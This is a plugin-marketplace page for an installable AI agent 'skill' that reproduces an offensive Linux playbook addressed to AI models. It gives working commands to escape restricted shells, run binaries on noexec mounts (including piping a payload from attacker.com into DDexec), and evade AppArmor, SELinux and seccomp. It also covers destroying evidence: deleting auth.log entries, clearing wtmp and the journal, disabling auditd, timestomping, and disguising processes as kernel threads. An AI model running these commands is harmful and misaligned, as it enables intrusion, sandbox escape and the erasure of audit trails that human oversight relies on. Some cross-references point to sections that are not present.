PluginBench
Skill
Fail
Audit score 45

linux-security-bypass

yaklang/hack-skills

Bypass Linux security mechanisms: rbash, noexec, AppArmor, SELinux, seccomp, and audit logging.

What is linux-security-bypass?

Expert techniques for escaping restricted shells, executing on noexec filesystems, evading mandatory access controls (AppArmor/SELinux), circumventing seccomp filters, and hiding post-exploitation activity. Use when facing hardened Linux systems with security restrictions during red team operations.

  • Escape restricted bash (rbash) via SSH, editors, interpreters, and environment tricks
  • Execute binaries on noexec filesystems using DDexec, memfd_create, ld.so, and script interpreters
  • Enumerate and exploit AppArmor profile gaps and complain-mode configurations
  • Detect SELinux enforcement levels and exploit permissive domains and context transitions
  • Bypass seccomp filters via architecture confusion (x86 vs x86_64 syscall numbers) and kernel bugs
  • Evade audit logging through timestamp manipulation and log tampering

How to install linux-security-bypass

npx skills add https://github.com/yaklang/hack-skills --skill linux-security-bypass
Claude Code
Cursor
Windsurf
Cline

How to use linux-security-bypass

  1. 1.Identify the active security mechanism (rbash, noexec, AppArmor, SELinux, or seccomp) using provided enumeration commands
  2. 2.Select the appropriate bypass technique from sections 1–6 based on the identified restriction
  3. 3.Execute the bypass payload or technique (e.g., DDexec for noexec, editor escape for rbash, architecture confusion for seccomp)
  4. 4.Verify successful bypass by confirming shell access, code execution, or audit evasion
  5. 5.Proceed to privilege escalation or lateral movement using related skills

Use cases

Good for
  • Breaking out of restricted shell environments during SSH access to escalate privileges
  • Executing payloads on hardened systems with noexec mounts and read-only filesystems
  • Bypassing container security policies (AppArmor docker-default, seccomp profiles)
  • Hiding post-exploitation activity by modifying audit logs and file timestamps
  • Exploiting kernel bugs and syscall filter misconfigurations in containerized environments
Who it's for
  • Red team operators and penetration testers targeting hardened Linux systems
  • Security researchers analyzing Linux security mechanism weaknesses
  • Incident responders understanding post-exploitation evasion techniques
  • DevSecOps engineers testing container and system security configurations

linux-security-bypass FAQ

What is DDexec and why does it bypass noexec?

DDexec overwrites the running process memory via /proc/self/mem with a new ELF binary, then jumps to its entry point. No file is written to disk, so noexec mount restrictions are never triggered—the binary executes entirely in memory.

How does architecture confusion bypass seccomp filters?

Seccomp filters often check only x86_64 syscall numbers. A 32-bit binary uses different x86 syscall numbers (e.g., execve is 59 on x86_64 but 11 on x86). If the filter lacks AUDIT_ARCH_X86 checks, the 32-bit syscalls pass through unfiltered.

Can scripts execute on noexec filesystems?

Yes. Scripts (Python, Perl, Bash) execute because the interpreter binary runs from an exec-allowed mount and reads the script as data. Only ELF binary execution is blocked by noexec.

What is the difference between AppArmor complain mode and enforce mode?

Enforce mode blocks policy violations. Complain mode logs violations but allows all actions—effectively no restriction. Processes in complain mode can bypass all AppArmor restrictions.

How do I check if seccomp is active and what syscalls are blocked?

Check `grep Seccomp /proc/self/status` (0=disabled, 1=strict, 2=filter). Use tools like `amicontained` to enumerate allowed/blocked syscalls, or analyze the seccomp filter rules directly.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: linux-security-bypass description: >- Linux security mechanism bypass playbook. Use when facing restricted bash/rbash, read-only or noexec filesystems, AppArmor, SELinux, seccomp filters, or audit logging that must be evaded during post-exploitation.

SKILL: Linux Security Bypass — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Base models miss DDexec, memfd_create fileless execution, and architecture-confusion seccomp bypass.

0. RELATED ROUTING

Before going deep, consider loading:

  • linux-privilege-escalation once you've broken out of restrictions and need to escalate
  • container-escape-techniques when security mechanisms are container-specific (seccomp profiles, AppArmor docker-default)
  • linux-lateral-movement after bypassing restrictions for pivoting
  • cmdi-command-injection when the restriction is on command execution from a web application context

1. RESTRICTED BASH (rbash) BYPASS

1.1 SSH-Based Bypass

# Force a different shell via SSH
ssh user@host -t "bash --noprofile --norc"
ssh user@host -t "/bin/sh"
ssh user@host -t "bash -l"

# If ForceCommand is set in sshd_config, these may not work
# Try SFTP/SCP instead — often not restricted:
sftp user@host
# SFTP shell can sometimes execute commands

1.2 Editor-Based Escape

# vi/vim escape
vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash

# ed escape
ed
!/bin/bash

# nano (if available)
# Ctrl+R → Ctrl+X → command execution

1.3 Language Interpreter Escape

InterpreterCommand
Pythonpython3 -c 'import pty; pty.spawn("/bin/bash")'
Perlperl -e 'exec "/bin/bash";'
Rubyruby -e 'exec "/bin/bash"'
Lualua -e 'os.execute("/bin/bash")'
PHPphp -r 'system("/bin/bash");'
Node.jsnode -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
AWKawk 'BEGIN {system("/bin/bash")}'

1.4 Environment Variable Tricks

# Overwrite shell via BASH_CMDS
BASH_CMDS[x]=/bin/bash
x

# Use env to spawn unrestricted shell
env /bin/bash
env -i /bin/bash

# PATH manipulation (if export is allowed)
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/bin/bash

# If only specific commands are allowed:
# Use allowed command to read files
git log --oneline --all -p    # git can read arbitrary files
git diff /dev/null /etc/shadow

1.5 Other Escapes

MethodCommand
expectexpect -c 'spawn /bin/bash; interact'
scriptscript -qc /bin/bash /dev/null
rlwraprlwrap /bin/bash
nmap (old)nmap --interactive!bash

2. READ-ONLY / NOEXEC FILESYSTEM EXECUTION

2.1 DDexec — Execute From stdin via /proc/self/mem

# DDexec overwrites the running process memory with a new binary
# No file written to disk — completely fileless

# Usage: pipe any ELF binary through DDexec
curl -sL https://attacker.com/payload | bash ddexec.sh

# How it works:
# 1. Opens /proc/self/mem for writing
# 2. Seeks to the text segment of the current process
# 3. Overwrites it with the target ELF binary
# 4. Jumps to the new entry point

2.2 memfd_create — In-Memory File Descriptor

import ctypes, os
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(319, b"", 0)     # SYS_MEMFD_CREATE (x86_64)
with open(f"/proc/self/fd/{fd}", "wb") as f:
    f.write(open("/path/to/binary", "rb").read())
os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ)   # Bypasses noexec
# Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd

2.3 ld.so Direct Execution

# Use the dynamic linker to execute from a writable mount
# Even if the binary's partition is noexec, ld.so runs from its own mount
/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary

# Or from /dev/shm (usually writable + exec):
cp binary /dev/shm/binary
/dev/shm/binary

2.4 Script Interpreters on noexec

# Scripts still execute on noexec — only ELF execution is blocked
# The interpreter (python/perl/bash) runs from an exec-allowed mount
# and reads the script as data

python3 /noexec/mount/exploit.py      # Works
perl /noexec/mount/exploit.pl         # Works
bash /noexec/mount/exploit.sh         # Works
# But ./exploit (ELF binary) → "Permission denied"

2.5 Writable Mount Points

# Common writable + exec-capable locations:
/dev/shm        # tmpfs — almost always writable + exec
/tmp            # Sometimes noexec on hardened systems
/var/tmp        # Often writable
/run            # tmpfs — check permissions

# Check mount options:
mount | grep -E "shm|tmp"
# Look for "noexec" flag — if absent, exec is allowed

3. APPARMOR BYPASS

3.1 Profile Enumeration

# Check AppArmor status
aa-status 2>/dev/null
cat /sys/module/apparmor/parameters/enabled     # Y = enabled
cat /sys/kernel/security/apparmor/profiles      # List all profiles

# Check current process profile:
cat /proc/self/attr/current
# "unconfined" = no restriction
# "docker-default (enforce)" = Docker's default profile

3.2 Exploitation Strategies

# Find unconfined processes (inject via ptrace if root):
ps auxZ 2>/dev/null | grep unconfined

# Complain mode = effectively no restriction (just logging):
aa-status | grep complain

Common AppArmor profile gaps: /proc/self/fd/* access, abstract Unix sockets, interpreter-based execution (python scripts bypass binary restrictions), and newly created paths.


4. SELINUX BYPASS

4.1 Mode Check

getenforce           # Enforcing / Permissive / Disabled
sestatus             # Detailed status
cat /etc/selinux/config   # Persistent configuration

# Check current context
id -Z
ps auxZ | head -20

4.2 Permissive Domain Exploitation

semanage permissive -l 2>/dev/null    # Domains in permissive mode
ps -eZ | grep -i permissive           # Processes — can do anything (just logged)

4.3 Context Transition & Booleans

ls -Z /tmp/                           # File contexts — tmp_t has broader access
sesearch --allow -t unconfined_t 2>/dev/null | head -30   # Transition rules

# Dangerous booleans that weaken SELinux:
getsebool -a | grep -i "on$" | grep -iE "exec|write|network|connect"
# httpd_can_network_connect, allow_execmem

5. SECCOMP BYPASS

5.1 Check Seccomp Status

grep Seccomp /proc/self/status
# Seccomp: 0 = disabled, 1 = strict, 2 = filter

# Docker default seccomp profile blocks ~44 syscalls
# Check what's allowed:
./amicontained    # Shows blocked/allowed syscalls

5.2 Architecture Confusion (x86 vs x86_64)

# Seccomp filters often only check x86_64 syscall numbers
# x86 (32-bit) syscall numbers are different!
# If the filter doesn't check the architecture:

# Compile a 32-bit binary that uses x86 syscall numbers:
# x86_64 execve = 59, x86 execve = 11
# The filter blocks syscall 59 but not 11

gcc -m32 -static -o exploit32 exploit.c
# If the seccomp filter lacks AUDIT_ARCH_X86 check → bypass

5.3 Allowed Syscall Abuse & Kernel Bugs

Allowed syscalls to abuse creatively: sendmsg/recvmsg (pass FDs between processes), mmap/mprotect (executable memory), process_vm_readv/writev (cross-process memory).

Known seccomp kernel bugs: CVE-2019-2054 (ptrace bypass), io_uring bypassed seccomp entirely (pre-5.12). Check uname -r and compare.


6. AUDIT EVASION

6.1 Timestamp Manipulation

# Modify file timestamps to hide changes
touch -r /etc/hosts /modified/file          # Copy timestamp from reference
touch -t 202301010000.00 /modified/file     # Set specific timestamp

# Modify log timestamps (if writable)
# Use timestomping to match surrounding entries

6.2 Log Tampering & Process Spoofing

sed -i '/pattern/d' /var/log/auth.log     # Remove specific entries
echo "" > /var/log/wtmp                    # Clear login records
journalctl --rotate && journalctl --vacuum-time=1s   # Clear journal

# Process name spoofing (hide in ps output):
exec -a "[kworker/0:0]" /bin/bash          # Bash
# C/Python: prctl(PR_SET_NAME, "kworker/0:0", 0, 0, 0)

# Disable audit (if root):
auditctl -e 0 && service auditd stop

7. LINUX SECURITY BYPASS DECISION TREE

Security mechanism identified?
│
├── Restricted shell (rbash)?
│   ├── SSH access? → ssh -t "bash --noprofile --norc" (§1.1)
│   ├── Editor available? → vi :!/bin/bash (§1.2)
│   ├── Language interpreter? → python/perl/ruby escape (§1.3)
│   ├── env command? → env /bin/bash (§1.4)
│   └── Allowed commands with escape? → git/man/less → !bash (§1.5)
│
├── noexec filesystem?
│   ├── Script interpreters available? → bash/python/perl scripts work (§2.4)
│   ├── /dev/shm writable + exec? → copy binary there (§2.5)
│   ├── memfd_create available? → fileless execution (§2.2)
│   ├── ld.so accessible? → ld.so /path/to/binary (§2.3)
│   └── Last resort → DDexec via /proc/self/mem (§2.1)
│
├── AppArmor enforcing?
│   ├── Profile in complain mode? → no restriction, just logging (§3.3)
│   ├── Unconfined processes exist? → inject/migrate to them (§3.2)
│   ├── Profile missing path coverage? → use uncovered paths (§3.4)
│   └── Interpreter not restricted? → script-based execution
│
├── SELinux enforcing?
│   ├── Domain set to permissive? → exploit that domain (§4.2)
│   ├── Dangerous booleans enabled? → abuse allowed actions (§4.4)
│   ├── Context transition available? → execute binary with transition (§4.3)
│   └── Kernel CVE? → SELinux bypass exploit
│
├── seccomp filter active?
│   ├── Architecture check missing? → 32-bit syscall confusion (§5.2)
│   ├── Allowed syscalls exploitable? → sendmsg/mmap abuse (§5.3)
│   ├── Kernel bug? → io_uring/ptrace bypass (§5.4)
│   └── Check what's blocked → amicontained (§5.1)
│
└── Audit logging?
    ├── Writable logs? → delete/modify entries (§6.2)
    ├── Root access? → disable auditd (§6.4)
    ├── Need stealth? → process name spoofing (§6.3)
    └── File changes tracked? → timestamp manipulation (§6.1)